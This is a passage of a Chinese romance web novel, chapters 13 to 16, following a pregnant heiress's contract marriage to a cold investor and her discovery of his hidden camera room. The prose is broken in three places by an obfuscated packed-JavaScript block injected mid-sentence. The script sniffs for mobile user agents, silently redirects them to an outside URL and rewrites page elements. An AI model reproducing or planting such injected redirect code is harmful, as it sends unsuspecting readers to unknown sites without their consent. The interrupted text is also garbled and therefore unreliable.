甄玉珠正靠在床头看书,燃烧过半的香薰蜡烛点在床头。 甄宝珠进房她连头都没抬,“小贼,爸爸刚走你就回来就偷东西。” 甄宝珠不好意思地笑笑,倒在床上凑近姐姐,转移话题:“姐,你在看什么书?” 她从甄玉珠手里拿过书,书皮印着《老婆怀孕我该做什么》。 “你看这个干嘛?” “因为书店没有《妹妹怀孕姐姐该做什么》。” 她一把抱住甄玉珠,像只猫腻在姐姐身上,“这本书送我呗,我让黎铮也看看。” 甄玉珠静默片刻,“黎铮同意和你结婚有什么目的?” 甄宝珠满嘴跑火车,“男人嘛,贪财好色,当然是垂涎我的美貌。” 甄玉珠心里很清楚,黎铮不是个普通男人,年纪轻轻就名声鹊起,他不会因为贪图美貌而一时脑热。 甄宝珠和他结婚无非想找个人来充当孩子父亲,黎铮能从中得到什么好处,甄玉珠一时还想不明白。 她沉默半晌,只说:“你要对他提防着点儿。” 甄宝珠不以为然,“你怕他欺负我?放心吧,我是很好欺负的人吗?” 甄玉珠揉揉她的脑袋,这话倒也没说错。 * 隔天游悠约了甄宝珠一起喝下午茶,特意为前晚甄宝珠在火警中受惊表示友好慰问。 游悠一见面就咋咋呼呼,“你猜怎么样?昨晚你走之后经理跟我们道歉,说是火灾演习,真係发瘟。” 看起来游悠确实气得够呛,粤语都飙出来了。 甄宝珠也配合着游悠,好像她压根不知道火灾演习就是为她准备的。 游悠对“临终关怀”仍不死心,“宝珠,我家小奶狗一直想正式约会,我们今晚一起吃饭吧。” 甄宝珠正执着于眼前的小蛋糕,随口敷衍:“我不去,电灯泡我是不当的。” “他有一个很帅的室友,我们来场四人约会嘛,单身派对没办成,四人约会你一定要答应我。” 其实游悠从来没有和小奶狗出去约会过,他们见面不是在酒店床上就是在游悠的卧室,第一次约会游悠不想搞得太正式,那样看起来好像真的在谈恋爱一样。 游悠的小男朋友请她们吃了火锅,甄宝珠这才知道他是科技大学大二的学生,顺便还知道了人家的名字——刘白。 刘白和室友最近参加大学生科技比赛,饭前他还特别激动地带游悠和甄宝珠去看了他们团队的参赛作品。 他的室友当时正在讲解他们的成果,那男生穿着西装外套,里面搭一件白色连帽卫衣,整个人干净清澈。 男生很贴心地给他们买了咖啡,甄宝珠道了声谢却一口都没喝。 吃饭时他表现得有些拘谨,听着甄宝珠和游悠瞎侃,时不时添点茶水,遇到共同话题也能说上几句。 席间游悠悄悄给甄宝珠发微信,不经意摇了摇手机示意她看,她才从包里拿出手机,发现黎铮给她打了两个电话。 她借口去卫生间,回拨电话却一直没人接听,又打开微信。 江湖游悠:【我看他对你有意思哎,你和黎铮是开放式婚姻吧?】 Rita:【……】 Rita:【发瘟。】 甄宝珠现在哪里有心思左勾右钓,就这一顿饭的功夫,她的胃酸已经反流两次了,她怀疑自己的孕期反应不太正常,在网上预约了一次检查。 吃过饭后,游悠和刘白打算去看电影,但甄宝珠兴致缺缺,那男生也说自己还得回学校整理科技展的报告,四人在饭店门口分手,甄宝珠负责开车把男生送回学校。 男生拿起副驾驶放着的那本《老婆怀孕我该做什么》,茫然地翻开看了看又放下,忽然问甄宝珠:“你不喜欢喝咖啡吗?” 甄宝珠目视前方,眉眼虽不经意也风情卓绝,“你观察得挺仔细。” 甄宝珠还觉得这人挺有意思,在会场侃侃而谈,单独相处反而红了脸。 她补充道:“以前也不喜欢喝,现在怀孕更不爱喝了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427815|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见男生愣怔,甄宝珠笑道:“我以为你知道今天出来就是给四人约会凑数的。” 他抿了抿唇,有点儿丧气:“游悠没说。” “那是她的错,回头我说她,”甄宝珠宽慰说:“你学习特好吧?我和游悠都是学渣,你们今天展的那个东西我们两其实都没看懂。” 男生说起他们的作品又开始滔滔不绝,试图用平实易懂的语言教她理解。 一路就讲到学校门口,男生一直偏头看着甄宝珠的反应,没发现车早已经停下了。 甄宝珠一扭头就看到他那双闪闪亮亮的小狗眼,闪着清澈的眼光,她忍不住笑了。 见她一笑,男生也不好意思地笑了,“你是不是听烦了?” 甄宝珠摆摆手,“我刚才在想,我有哥哥有姐姐,要是有个弟弟,我就希望我弟也能像你一样,可别像我哥一样。” 男生低头咕哝:“可我今天见到你的时候也没把你当姐姐看。” 甄宝珠敛起笑容,认真道:“那现在开始就得当姐姐看了。” 男生偏过头嘟囔,“你也没比我大几岁。” 不待甄宝珠再回话,他就开门下了车,背起书包,俯身探头冲她挥挥手,她也回应了一个欣愉的笑容,眉眼像一弯弦月散发着动人柔光。 男生的背影渐渐融入人群,她刚打算开车驶离,车门忽然被人拉开。 甄宝珠唇边的微笑还没消散,就撞上黎铮锋锐的凝视。 黎铮不紧不慢稳坐副驾驶,副驾驶皮椅上属于另一个男人的温度还没冷却。 他锁眉,冷峻的面庞带着些没来由的怨气,“甄小姐,你让我早点儿回来看你和男人约会?” 如果这也算捉奸在车的话。 严格来说甄宝珠什么都没做,本不该心虚,但触碰到黎铮深幽的眼神,她就觉得底气不足,小心脏砰砰直跳。 甄宝珠打开游悠的聊天记录,找到游悠约见下午茶的证据,对黎铮解释:“你看,我本来是出来喝下午茶的,游悠的小男友请我们吃了晚饭,那个男生是他室友而已......” 黎铮忽然捏住她举着手机的手腕,向他的方向拉近,手指抬起在由下到上轻划屏幕,【开放式婚姻】这几个字先落进他眼里。 他静默着,抬眼望向甄宝珠,眼神像利箭一样钉在她脸上。 那点欲盖弥彰的小心思被黎铮识破后,甄宝珠感觉后背发凉,匆忙抽回手,小声蛐蛐:“你看就看,划拉什么......” 沉默,死一般的沉默。 厚重的低气压让她大气都不敢喘。 “开车。”黎铮终于开口。 甄宝珠战战兢兢问:“去哪儿?” “回家。” 黎铮靠着椅背,闭上疲惫的双眼。 车开到黎铮住的思懿庄园,他忽然开口叫她的名字,声音低沉带着些倦意。 “甄宝珠。” “嗯?” “我不能接受。” “什么?”甄宝珠纳闷。 “开放婚姻关系,”他略有不耐,“你想都别想。” 甄宝珠有些发懵,黎铮似是提醒又似警告,“等到协议结束,你想和谁谈、想怎么谈,都跟我没关系,但是现在,不行。” 甄宝珠眨着眼反问:“那你呢?” “我和你不一样。” 甄宝珠脑海里瞬间涌入一万个骂人的词儿,合着他是严以待人、宽以律己,不允许她在婚内谈恋爱,轮到他的时候就不一样了,世界上怎么会有这么双标的人。 甄宝珠伸出中指:“你...” 黎铮的长辈还没骂出口,她的手指就被黎铮硬按了回去。 “我不用你要求。”黎铮说。 14. 第 14 章 气氛稍显尴尬,甄宝珠没想到黎铮是这个意思。 她默默收手,怂里怂气地回了句:“哦,你话说一半我以为...” 黎铮乜她一眼,“那条五百字的脏话集锦我就当没看过,你不是家教很好吗?” 甄宝珠被问得哑口无言,只能胡搅蛮缠,“那不是我发的...” 黎铮也不打算继续追究,他只是觉得有些可笑。 推掉两个饭局,订提前返回的机票,却看到他的未婚妻在大学门口对别的男人笑意温柔,再回想起她短信里对自己的态度,天差地别。 他余光睨向甄宝珠,白裙子、帆布鞋,打扮得青春洋溢,看起来和那个男学生还挺般配。 怀着孕也不能安分守己,离开他的视线仅仅一天,她先去会所后约男大,揣着自己的孩子谈情说爱。 黎铮默默咬牙,一句话都不想多说。 回到家里,甄宝珠从包里掏出户口本,还递给他一本书。 “你也应该好好学习一下,毕竟我们要当夫妻,要朝夕相处,你说是吧?黎总。” “我平时很忙,你可以请几个保姆来照顾你。”黎铮把书扔在桌上,脱下外套,松了松领带。 甄宝珠隐隐感觉黎铮好像还在生气,却不知道他为什么生气。 她凑近黎铮,笑嘻嘻问他:“结婚之后...我住哪儿?” “当然是客房,你还想住哪儿?” “你家客房的床…有点儿硬,我睡客房的话可能要换床,要不然,我睡你的卧室,你睡客房?” 黎铮哼笑一声:“你倒是不客气。” “你同意了?” “没同意。” 黎铮又板着脸给她立规矩:“你住在这儿,没有我的允许不能进其他房间,不能添置其他东西,记得保持秩序。” 甄宝珠挺直腰杆质问:“为什么?” “我喜欢秩序,不喜欢改变。” 甄宝珠虎视眈眈看着他,“你干脆说你不喜欢家里有人得了呗,我在这儿呆着就得像一个盖白布的阿飘?” “你能做到吗?”黎铮问。 “做不到,本小姐不住了!”甄宝珠生气了,一扭身就要收拾包包离家出走。 “明天拜访你爷爷。”黎铮幽幽道。 忍一时风平浪静,忍一时应有尽有。 她抱住无助的自己,飘回了客房,躺在床上她又气得不行,在床上来回打滚撒泼。 折腾累了,发泄够了她才去洗漱,忽然发现洗漱间摆满了各类孕妇适用的护肤品,还有一个新的吹风机。 甄宝珠不由想起上次住在这里,这个地方荒得像个仅供参观的样板间。 她把瓶瓶罐罐拆开,敷上面膜泡了个澡,心情怡然走出浴室,心满意足地拽过HelloKitty抱枕,盖上新的柔软毛毯刷手机。 游悠组建了一个四人的群聊,甄宝珠也有一条新的好友申请。 【姐姐,我是陈书禾,想和你说,你那本书上面有几个字好像错了。】 甄宝珠本来没想加他的微信,但想起黎铮那张臭脸,手指就点了通过申请。 Rita:【哪里有错?】 陈书禾:【我记得是69页,可能是印刷错误,应该不碍事。】 甄宝珠感叹这男孩心真的很细,转念又想他是不是在故意唬她,套她通过好友申请。 她偷摸下楼,黎铮书房门紧闭,地光从门缝里漏了星星点点。 她拿出手机,打开手电筒照了照,刚才黎铮随手扔在桌上的书,不见了。 * 周一上午黎铮在外考察,和甄宝珠约定了下午去民政局。 中午餐会是柳尚惠做东。 柳尚惠代表的柳氏集团和甄世明的新公司水火不容,甄世明给出让利低价,柳家有更好的生产链。 从长远角度考虑,即将上市的柳氏集团更能获得黎铮的青眼。 黎铮上午在柳氏集团考察后,内心已经完全偏向了柳氏集团,至于甄宝珠的个人因素,从来不在他考虑范围内。 正如他所说,在投资方面他不开玩笑,他有自己的判断,从来不会受情感因素的干扰。 中午餐会时,黎铮的微信响个没完,甄宝珠像个话唠一样不停催他,问他几点去,接不接她,还给黎铮发了她的领证穿搭。 【我今天穿这套裙子,你记得跟我穿般配一点。】 他没回复,折回手机放在桌上。 人一得意就容易忘形,柳尚惠拉投资已经成功了一多半,明显快忘了自己几斤几两。 他喝得面色潮红,也给黎铮倒酒,“黎总,我们集团绝对是您的明智之选,之前我还担心,我个人的私事会影响您的决定。” 黎铮敷衍笑笑,“商业合作实力才是首位,其他细枝末节我不在意。” 柳尚惠哈哈一笑,“我跟黎总直说,甄世明的公司不依靠甄家的资金根本做不起来,和我们完全没有可比性。” 黎铮微微颔首,这些因素都在他统筹考虑范围之内。 “他这个人也不靠谱,出了名的纨绔子弟,甄家在京市名声是显赫,但他家的人都有点儿问题,稍微善良点儿的就是玉珠。” 柳尚惠口无遮拦,拍了拍双腿,“主要她也没有作恶的条件。” 黎铮眉心微蹙,但没说什么,手指捏着桌上的酒杯慢慢转动,一直听他说下去。 “甄家最恶的当属甄宝珠,跟个狗似的,见谁咬谁,如果没有她,我和甄家不会这么僵,没准现在已经和甄玉珠订婚了,也不至于和甄世明竞争。” 黎铮顿住转动酒杯的动作,陪坐的关林立刻捕捉到老板的细微变化。 那是黎铮习惯性的动作,往往这种时候就代表着对方说的话黎铮已经很不爱听了。 关林冲着柳尚惠挤眉弄眼,柳尚惠像眼瞎似的,关林也只能无奈扶额。 黎铮抬腕看表,关林立刻站了起来,取过黎铮的外套,在场的人都静默了一瞬。 这顿饭只吃了一半,但黎铮抬脚就走,片刻不留。 柳尚惠端着酒杯,“欸,黎总,您去哪儿啊?” 关林拦他,“黎总下午还有事情,柳总,咱们再联系。” 关林被柳尚惠拉住胳膊,“关助理,黎总什么时候有时间签合同?” 关林清了清嗓子,“嘶,合同估计签不了了,黎总...跟狗结婚了。” * 甄宝珠在民政局门口等黎铮时收到魏铭发来的短信,只有简短的两个字。 【恭喜】 她的手指停在屏幕上,又不知道该怎么回复,干脆没回。 魏铭喜欢上她是很正常的事,但具体是什么时候开始的,甄宝珠也不太清楚。 她高二时让校草半夜去她家里“学习”,校草当晚偷爬闺窗摔断了手,在医院住了大半月,错过很重要的数学竞赛,让万年老二魏铭捡漏拿了第一。 校草并没怨她,还成了她高中时代的固定男友。 只是魏铭的获奖照片笑得很难看。 她突发奇想出国留学,魏铭第一次被邀请去她家,甄厉海说要资助他出国读医学院,甄宝珠趴在书房门缝冲他笑。 两人出国,她坐头等舱,魏铭坐经济舱。 她在头等舱认识后来的混血男友,魏铭从下飞机开始脸色就不好看。 后来在国外呆了几年,魏铭身边不是没有女生示好,但他一直单身。 甄宝珠想,现在她回国了,结婚了,魏铭大概也能彻底死心,开始新的感情吧。 还是不要再招他了。 黎铮的车停在不远处,他从车上下来,优越利落的身形向甄宝珠走来。 真的看到黎铮那一刻,甄宝珠才忽然觉得领证是一件让人紧张的大事,不然她为什么心脏噗通噗通的。 领证的过程很顺利,但甄宝珠的心跳很乱,尤其是和黎铮拍结婚照片,她一直捏着手指尖,坐得僵硬。 “女同志,笑一下。”工作人员提醒她。 黎铮侧眸,“想反悔了?” 她挺直背脊,“不反悔。” 黎铮望着她,说:“那你笑笑,笑起来好看。” “三、二、一。” 这三秒钟,甄宝珠的心跳了十下。 盖上钢印,结婚证拿在手上,甄宝珠还在走神,反复想起黎铮说她笑起来好看。 明明黎铮人就在她身边,她还是在回味前十几分钟的这个男人。 她笑起来最好看,这是事实。 可黎铮低沉的声音掠过耳侧,她当时好像被电了一下,全身酥酥软软的。 “我跟你说话你听到没?” 黎铮见甄宝珠走神,在她眼前打了个响指,这个女人回过神看着他,突然就露出个奇奇怪怪的假笑。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427816|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻笑什么?”他绷着脸。 “你不是说我笑起来好看?”甄宝珠露出一排洁白的牙齿,一直一直冲着他笑。 他喉间滚动,“你的时间定格了是吗?那是二十分钟之前说的。” 甄宝珠敛回笑容,努嘴“哦”了一声。 “我刚才说的是,你可以通知你哥哥,后天签合同。”黎铮说。 甄宝珠指了指自己,笑容又藏不住了,“我吗?我通知他吗?” 毕竟前些天黎铮还警告她不许代表他说话,现在让她通知甄世明,这样甄世明岂不是会以为黎铮就是被她说服投资的? 想想她趾高气昂,甄世明卑躬屈膝,她已经快爽死了。 黎铮淡淡然道:“你不愿意通知?那我让关林通知…” 甄宝珠立刻扑在他身上,捂住他的嘴,食指按指印的红墨也印在他的脸侧。 她威胁道:“不许!” 黎铮瞳孔震颤,用力捏着她的腕骨把手挪开。 她怕黎铮反悔,立刻就把手机从包里掏出来,绘声绘色向甄世明抬高自己的功劳,还借机向甄世明要他新买的跑车开开。 关林正在停车场等他们,见他们两个人走近,黎总脸上还有没擦完的口红印。 甄宝珠打着电话先坐上车,黎铮等着关林开车门,关林却石化在原地。 关林嘴唇动了动,“黎、黎总。” 黎铮皱眉不解地看着关林,关林伸手摸了摸自己的脸提醒他。 “有话就说,别拖拖拉拉。” 关林立刻挺直身子,站那像个兵。 “报告黎总,您脸上有口红印儿。” 黎铮伸手擦了擦,手背留下一抹浅红。 “不是口红印,”黎铮有些面热,又冷言埋怨,“你可以提醒我,不用那么大声。” 关林:“......” * 为了感谢黎铮,甄宝珠特意邀请黎铮共进晚餐,定的是一家西餐厅,有着艺术馆一般的油画长廊。 她站在一副油画前仔细端详,看起来特别感动。 油画是《阿诺芬尼夫妇像》,一个叫阿诺芬尼的中世纪男人和他的妻子,脚边还有只长毛小狗。 她指着油画中提绿裙子的妇女问黎铮:“你看这个像不像我?以后我的肚子就会这么大,怀孕的妈妈可真伟大。” 黎铮:“......她没怀孕,只是衣服大,中世纪流行这种蓬松裙,贵妇需要把衣服提起来,看起来像是怀孕而已。” 甄宝珠刚想要流下感动的眼泪,愣是被黎铮给赶回眼眶。 看着油画中男人拉着妻子的手,甄宝珠下意识看了看黎铮的手,那双手指节修长,握笔签字的时候她就觉得特别好看,让人很想牵。 “你看人家还牵小手。”她又指着画作想给黎铮点儿暗示。 “这也不是牵手,是在举行一种仪式。男的举右手,象征永远供养,女的伸右手,是宣誓永远忠诚。”黎铮十分不解风情。 甄宝珠白了他一眼,“那他们和我俩不像,我们不发这么毒的誓。” 黎铮:“......” 甄宝珠先点了一份十二盎司的牛排,黎铮略抬眼看她。 她扁了扁嘴,“怎么了?我现在是两个人。” 黎铮不置可否,继续低头看着他的菜单。 餐厅温馨的暖灯照得黎铮面庞也柔和,鼻峰在脸侧投下一小片阴影,甄宝珠托腮看着他,忽然觉得更饿了,想吃人。 转而她想起那通和甄世明的电话。 甄世明在电话那头提醒:“甄宝珠,你那点小聪明和黎铮在一起不够用吧?小心点儿,别被男人骗了。” 如果是眼前这个长睫毛低垂,眉眼轮廓都打了温柔滤镜的黎铮,骗一骗倒也无所谓,起码看着就很开胃。 黎铮抬起眸,问她要喝什么吗? 她忙着躲闪目光,怕被黎铮发现她花痴的一面,“随便,喝什么都行。” 这么多天,她首次对餐厅的饭特别有胃口,自从她怀孕以来,体重不增反降,每天吃多少吐多少,被折磨得很难过。 所以上饭后甜点时,她顺便把黎铮那份也吃了。 黎铮把甜品向她推了推,“你这样暴饮暴食不是健康的生活习惯。” 这话成功获得甄宝珠一个眼刀。 然而吃过饭,车还没开回家,甄宝珠就觉得肚子好痛。 15. 第 15 章 奔驰商务车在主干道一路疾驰。 甄宝珠从小被家人保护得很好,没受过什么伤,疼痛阀值超低,此刻疼得拽住黎铮胳膊在车上哀嚎,一刻都不停歇。 黎铮一路眉头紧锁,去了医院反而比她更紧张。 医生揉按她的肚子检查,甄宝珠娇气地哼哼唧唧。 “怀孕几周了?”医生问。 “十三周,”黎铮脱口而出,又说:“大概是。” “你的档案在哪家医院?”医生问她。 “还没建档,今天吃完饭突然疼得厉害。”甄宝珠一下一下摸着小腹安抚自己。 “先做个B超看看。” 等到医生开完检查单,甄宝珠的疼痛就有所缓解,为了安心还是做了。 她特别不喜欢做B超,尤其是子宫附件,腹部彩超需要憋尿,阴超又蛮尴尬。 她穿裙子还算好脱,躺在床上尴尬地把腿分开,被仪器捅来捅去,想到黎铮就在外面坐着,她连声都不敢吱了,生怕本来痛苦的呻吟变了调。 十几分钟后,甄宝珠从彩超室走出来,黎铮两条长腿亦步亦趋,紧跟在她身后,抽过她手上的B超报告。 他皱着眉仔细看了一遍,问:“医生怎么说?” 甄宝珠脸色微红,也不说话,只顾埋头往前溜达。 “说话,甄宝珠。” 甄宝珠捏着手指,声音低低的,“医生说我吃多了,让我溜达消食儿。” 黎铮低头望着她,脸上关切的表情逐渐转冷,一脸嫌弃把B超报告塞回她怀里,两人拿着健胃消食片走出了医院。 “医生让你以后少量多餐。”黎铮把消食片和矿泉水递给她。 “哦。”甄宝珠小口小口喝水,恨不得找个洞钻进去。 “确实吃得有点儿多了哈~不过,你怎么知道我现在怀孕十三周啊?” 黎铮面色如常,“我会算数。” 甄宝珠戳了戳他的手臂,“我的意思是,你怎么这么关心我?” 在她印象里,黎铮挺处变不惊的,是就算地震也能整理好西装再逃生那种人,刚才那个焦急神态,甄宝珠还真没见过。 果然,患难见真情。 黎铮反问:“关心也不对?” 甄宝珠恢复了活力,身子凑近他,露出得意笑容,“你是不是真的喜欢上我了?” 黎铮侧眸,不知该做什么表情,下意识皱了皱眉心。 甄宝珠伸手过去把他的眉心抚平,护手霜的甜蜜果香环绕在他鼻尖,他别头躲了躲。 甄宝珠乐不可支,“哎呀,我能理解你,爱上我是每一个男人的宿命,你千万不要抵抗,不然越陷越深。” 黎铮刚打算反驳,甄宝珠伸出根手指摇了摇。 “我现在有更重要的事情要办,生下孩子,继承产业是我的第一要务,暂时不考虑儿女情长,而且...我不喜欢你的性格。” 黎铮这张脸确实很难让人不喜欢,但性格实在奇怪。 况且她前两任男友都是百依百顺、温柔体贴型的,虽然容易腻,但在一起时相当于有个保姆,日子也过得舒心。 她觉得自己应该是喜欢温柔体贴型。 黎铮哂笑,坚决否认的话不知怎么出口就成了问句,“我什么性格?” “嗯~”甄宝珠想了想,掰着手指细数,“你不怎么真诚,而且还很有心机,喜怒无常,特别自大...” 黎铮咬了咬牙,面色像座冰山,“跟我结婚是委屈你了,你不说我都不知道自己有这么多缺点。” 他一字一顿,“不过,我最大的缺点可能是不、喜、欢、你。” 甄宝珠还有小拇指翘着,她把小拇指收回,闲闲地说出他最后一个缺点:“口是心非。” 漆黑车窗映照黎铮写满无语的脸,他不知道自己到底做了什么孽。 父母车祸前,他妈还在给他打电话说:“事业有成下一步就该结婚生子了,我和你爸等着抱孙子呢。” 那是他听到父母最后的一句话。 如果不是这样,甄宝珠这种头脑简单、极度自恋的女人,他一眼都不会多看。 可她偏偏怀上了他的孩子,而且调查之后发现她家门显赫,用金钱根本无法撼动,只能施计。 他不明白到底做了什么事让她误会,头脑一直在冷静分析,可到底也没分析出继续她的误解对他的计划有没有好处,只能暂时按兵不动,不否认,不解释。 他偏头看着窗外,甄宝珠又嬉皮笑脸地贴过来:“害羞了吧?” 黎铮凝视车窗上倒映的甜美笑靥,气笑了。 * 甄宝珠早预约了周三去医院建档,知道黎铮喜欢她之后,甄宝珠“恃宠而骄”越发放肆,指挥关林改了黎铮的日程。 黎铮听着突然改动的日程安排,皱眉道:“关林,你现在越来越会办事儿了。” 关林挠了挠头,不知道这是夸他还是讽他。 毕竟自从认识甄宝珠,黎铮的行事风格,他越来越捉摸不透了。 黎铮陪甄宝珠去医院建档之后就直接出差了,连家都没回。 甄宝珠百无聊赖,回家之后看着灰兀兀的房子心情也不好,她在网上看了好多软装公司,找了几个设计师,最后定了一套自己最喜欢的风格。 几天之后,全屋软装就送货上门了,甄宝珠指挥工人把色彩跳跃的装饰品到处摆放,氛围灯一开,整个房子都活泼热情了许多。 她还给黎铮的书房买了一盏新落地灯,可是书房门锁紧闭,她去找物业管家,要求管家给她开锁,管家不敢违抗女主人的命令,只好帮她打开书房。 暗色的窗帘,淡淡的木香,檀木书桌摆放在正中,书桌上放一整套《毛选》,正中摊开的是那本《老婆怀孕我该做什么》。 工人把地灯搬进书房,拿着线到处寻找插座,却发现这书房过分整洁,竟然连根电线都没有。 甄宝珠也很纳闷,工人走后她再次进入书房,寻了一圈也没找到,她坐在黎铮的书椅上,仰头望着顶灯发呆。 忽然发觉顶灯中间镂空,她重新按了下桌上的无线开关,一束光从镂空处直射书桌,光线直接打到那本书上。 “高科技呀。”甄宝珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427817|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又按了几下,玩得不亦乐乎。 不知瞎按到哪个键,复古风格的贴墙深柜像门一样缓缓打开了。 门后是一个隐藏房间,一墙巨大的屏幕显示别墅内外多个监控,唯独缺了右下一角。 甄宝珠为这一发现兴奋不已,仔细一看又毛骨悚然。 大多图像她连摄像头在哪里都不知道。 她在屏幕中寻找客房的图像,却没有找到,旁边的笔记本屏幕发出莹莹弱光,控制着全部摄像头,她挪动鼠标点开右下角那一片漆黑。 显示名称是[二楼客房1],但图像漆黑。 名侦探宝珠再次上线,断定黎铮身上绝对有不可告人的秘密,谁家好人会用这么多监控设备,难不成他在房子里藏了十箱金条?或者说,他是行走的五十万? 为了验证她的分析,她开始在书房翻箱倒柜。 * 黎铮回来就发现家里进贼了,还是家贼。 他实在想不到除了那位大小姐,还有谁能这么明目张胆地挑战他,让他一进门以为自己走错了地方。 书房门敞开着,里面有窸窸窣窣的响动,他迈着长腿走入书房,一眼就看到甄宝珠半截身子都钻进柜子里,撅着屁股把他整理好的文件刨得乱七八糟。 她穿着纯白真丝睡衣,脚上一双毛绒绒的白拖鞋,像只锦毛鼠,如果她有一根细尾巴,现在已经被捏起来半空晃荡了。 黎铮看着圆润娇臀钻来扭去,顿时血气上涌,血压升高,费了很大的劲才忍住没踢她一脚。 “甄宝珠,你在干什么?”黎铮蹲身在她背后冷言。 甄宝珠被吓了一跳,后脑勺磕在柜顶上,护住头又砸了用来照亮的手机,后撤时刮坏了睡裙,头发也起了静电飞起,最后仰倒在身后人怀里。 一时间乒乒乓乓、火花四溅。 她一头仰撞在那人结实的胸口,跨坐在他膝上,身子被稳稳接住,只是,他的手掌护错了位置,吊带睡衣被挤出一条深沟。 导致整个画面看起来让人浮想联翩,如果此时从门口进来一人,那人大概会以为小别胜新婚,黎铮出差几天回来急不可耐,把她按在木地板上揉。 黎铮被她那颗硬脑袋撞得胸口震痛,闷闷地倒抽了一口气,传入甄宝珠耳朵更像是一声粗喘。 甄宝珠被人“抱”着,肩膀蹭在凡立丁西装布料上,布料的凉意和手掌的热度在皮肤纹理间对抗,像发一场高烧,身体高热,手脚冰凉。 她头发一甩,本来要回瞪他一眼,目光却只能落在他那双柔软的嘴唇上,仇视的眼神瞬间变得有些迷离。 黎铮缓过阵痛才发现自己处于多么尴尬的境地,他的手原地向下平移,想要护住他真正想保护的位置来证明自己思想清白,拇指指腹刮过一点凸起,怀里的人身子颤了一颤,他霎时间变了脸色。 “你怎么...” 黎铮话没说完,就被甄宝珠捂住了嘴。 “没人会在睡衣里再穿内衣,把你的手拿开。”甄宝珠咬着牙凶他。 他举起双手,表情无奈又无辜,“那你能不能先别坐我腿上?” 16. 第 16 章 甄宝珠用力把他推开,还没来得及审问,锦毛鼠就趿着拖鞋逃离了案发现场。 他起身重新收拾好书柜,把那扇隐门关上,整理衣服时,忽而发现膝部洇了一小片深深的水痕,一瞬之间黎铮的耳根变得滚烫。 作案者此时正泡在浴缸里清洗,黑发飘在胸前随着水波晃动,整个人思绪神游。 甄宝珠攥着拳努力控制自己不要乱想,但那个画面,那个触感让她清洗了一遍又一遍,身体却越来越燥,恨不得现在就下楼把黎铮扑倒。 一个肩宽薄肌的大活男人就在楼下,她却躲在楼上的浴缸里不敢动弹,丝毫不像她的作风。 但她还没查阅过这方面的资料,不敢轻举妄动。 从开始备孕到现在,寡了多半年,饥渴一点儿也是很正常的吧。 甄宝珠这样想着,又往浴缸里掺了些冷水。 出浴后,她哆哆嗦嗦换了一套厚重浴袍,把自己裹得严严实实下楼,在墙壁转角探出头。 发现黎铮竟然也换了一套衣服,正坐在沙发走神,修长的中指和食指无意识地敲桌沿。 甄宝珠给自己暗自打气,气势汹汹叉腰站在他面前,“变态!” 黎铮好像被她骂懵了,停止敲击的动作,眼光直直地看着她,却不还嘴。 “你说,你把家里弄成这个样子是要干嘛?我的房间浴室是不是也有摄像头?” 眼睁睁看着黎铮的喉结滑了一下,她紧紧咬着嘴唇,好让自己不被男色冲昏头脑。 “你以为自己是007?我是不是还得配合你演一出史密斯夫妇?”甄宝珠猛然想起什么,压低声音说:“你不会还藏枪了吧?那可是非法的!” 黎铮心里很乱头脑更乱,这个女人的脑回路总是在他意料之外。 “我装摄像头只是为了保护自己,你房间的摄像头已经在你入住之前拆掉了,”他轻叹一口气,“我还没问你,你把家里弄成这个样子要干什么?我有没有告诉过你,不要随便碰房子里的东西。” “我也只是为了让居住环境好一点儿,住你这房子我都要抑郁了,别说我的宝宝了。你总是不在家,家里什么样你在意吗?” 甄宝珠忽然发现他们吵的话题好像真夫妻一样。 完了,自己成豪门怨妇了。 黎铮也像个在外挣钱在家遭白眼的老公一样,气势转弱了很多。 “那你下次能至少、起码和我商量一下吗?” “能,”甄宝珠抱着胸口,用要死不活的口气回他,“那你以后出门必须告诉我行程,让我知道你什么时候回家,以防这种事情再发生,吓着我。” 黎铮思索了很久,点头答应下来。 甄宝珠见黎铮这么亏心,便得寸进尺继续套他的话:“你到底在家藏什么了?需要这么安保。” 黎铮撩起眼皮冷视,“别试探我,甄宝珠。” “那你能把摄像头都关了吗?” “不能。” 甄宝珠扁了扁嘴,没说什么。 反正她已经知道了那道暗门,黎铮不在的时候,她进去就能关。 至于黎铮的小秘密,如果能被她找到,她拿捏黎铮不就指日可待,还做小伏低个屁。 黎铮凝着甄宝珠那双提溜乱转的大眼睛,不知道又有什么显而易见的鬼心思。 他重敲了下桌面,“甄宝珠,我还在这儿呢,你没事儿别在我眼前晃。” 他停顿了下,又说:“去把头发吹干。” 甄宝珠的湿发梢还在滴水,水滴顺着黑发尾淌进胸前凹凸有致的锁骨窝,像一滴滴雨蓄在池塘,浑身散发的潮湿气和沐浴露的香气让黎铮莫名心绪不稳。 